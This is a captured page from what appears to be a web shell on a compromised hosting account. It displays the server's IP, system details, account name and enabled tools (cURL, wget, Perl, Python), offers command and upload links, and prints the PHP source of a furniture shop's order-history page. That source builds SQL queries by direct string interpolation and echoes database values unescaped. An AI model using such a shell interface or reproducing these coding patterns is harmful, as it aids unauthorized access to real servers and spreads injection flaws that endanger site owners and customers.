Server IP : 162.214.80.37 / Your IP : 216.73.216.68 Web Server : Apache System : Linux sh013.webhostingservices.com 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64 User : imyrqtmy ( 2189) PHP Version : 8.2.18 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home2/imyrqtmy/public_html/furniturevila/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
<?php session_start(); include ("Admin/Includes/db.php"); @$uid = $_SESSION['userid'] ; $sqlu = "select * from tbl_user where id='$uid'"; $sql_resu = mysqli_query($con, $sqlu) or die(mysqli_error($con)); $sql_rowu = mysqli_fetch_array($sql_resu); @$fname = $sql_rowu['fname']; @$lname = $sql_rowu['lname']; @$email = $sql_rowu['email']; @$phone = $sql_rowu['phone']; @$state = $sql_rowu['state']; @$city = $sql_rowu['city']; @$pass = $sql_rowu['password']; ?> <!DOCTYPE html> <html lang="en"> <?php include 'include/head.php'; ?> <body> <?php if(@$_SESSION['flash_message'] == 'profileedit') { $message = $_SESSION['flash_message']; unset($_SESSION['flash_message']); ?> <script> $(document).ready(function(){ toastr.success("Profile Edit Successfully"); }); </script> <?php } ?> <div class="page-loader"> <div class="spinner-border" role="status"> <span class="sr-only">Loading...</span> </div> </div> <div class="wrapper"> <!-- ======================== Navigation ======================== --> <?php include 'include/header.php'; ?> <!-- ======================== About ======================== --> <section class="blog blog-category blog-animated pt-0"> <!--Header--> <header> <div class="container"> <ol class="breadcrumb"> <li class="breadcrumb-item"><a href="index.php">Home</a></li> <li class="breadcrumb-item active" aria-current="page">My Account</li> </ol> <h2 class="title">My Account</h2> <div class="text"> <!--<p>Suspendisse scelerisque odio eu felis eleifend</p>--> </div> </div> </header> <!--Content--> <div class="container"> <div class="row"> <!--Blog content--> <div class="col-lg-3"> <aside> <!--Box search--> <!--Box categories--> <div class="box box-animated box-categories"> <h5 class="title">My Account</h5> <ul> <li><a href="user_dashboard.php">Dashboard</a></li> <li><a href="my_profile.php">My Profile</a></li> <li><a href="my_orders.php">My Orders</a></li> <li><a href="logout.php">Logout</a></li> </ul> </div> </aside> </div> <div class="col-lg-9"> <!--Blog item--> <aside> <!--Box search--> <!--Box categories--> <form method="post" action="update_profile.php?id=<?php echo $uid; ?>"> <div class="box box-animated box-categories"> <h5 class="title">My Orders</h5> <br> <div class="row"> <?php $count = 1; $id = $_SERVER['REMOTE_ADDR']; $pro = "SELECT * FROM tbl_order WHERE loginid='$uid' "; $result=$con->query($pro); if($result->num_rows > 0) { ?> <div class="table-responsive"> <table class="table"> <thead> <tr> <th>#</th> <th>Order #</th> <th>Status</th> <th>Name</th> <th>Email</th> <th>Phone No</th> <th>Payment Id</th> <th>Total</th> <th> </th> </tr> </thead> <tbody> <?php while($row = mysqli_fetch_array($result)) { $status = $row['status']; ?> <tr class=""> <td><?php echo $count; ?></td> <td><?php echo $row['order_no']; ?></td> <td><?php if ($status == '0') { ?> <a class=" text-primary"> <?php echo 'In Progress'; ?> </a> <?php } elseif ($status == '1') { ?> <a> <?php echo 'Confirmed'; ?> </a> <?php } elseif ($status == '2') { ?> <a class=" text-primary"> <?php echo 'Cancelled'; ?> </a> <?php } elseif ($status == '3') { ?> <a class=" text-primary"> <?php echo 'Shipped'; ?> </a> <?php } elseif ($status == '4') { ?> <a class=" text-primary"> <?php echo 'Deliverd'; ?> </a> <?php } ?></td> <td><?php echo $row['fname'] . $row['lname'] ; ?></td> <td><?php echo $row['email']; ?></td> <td><?php echo $row['phone']; ?></td> <td><?php echo $row['pay_id']; ?></td> <td><?php echo $row['total_p']; ?></td> <td class="th_hidden a-center last"> <span class="nobr"> <a href="view.php?id=<?php echo $row['id']; ?>">View Order</a> </span> </td> </tr> <?php $count++; } ?> </tbody> </table> </div> <?php } ?> </div> </div> </form> </aside> <!--Pagination--> </div> <!--Blog menu--> <!--/col-lg-3--> </div> <!--/row--> </div><!--/container--> </section> <?php include 'include/footer.php'; ?> </div> <!--/wrapper--> <!--Scripts --> <script src="js/jquery.min.js"></script> <script src="js/bootstrap.js"></script> <script src="js/ion.rangeSlider.js"></script> <script src="js/magnific-popup.js"></script> <script src="js/owl.carousel.js"></script> <script src="js/tilt.jquery.js"></script> <script src="js/jquery.easypiechart.js"></script> <script src="js/bigtext.js"></script> <script src="js/main.js"></script> <script type="text/javascript"> $(document).ready(function() { $('#state').on('change', function() { var stateID = $(this).val(); // alert(conID); $.ajax({ type: 'POST', url: 'Admin/get_state.php', data: {city: stateID }, success: function(response) { // alert(response); $('#citys').html(response); $('select').niceSelect('update'); // content.html(response); } }); }); }); </script> </body> </html>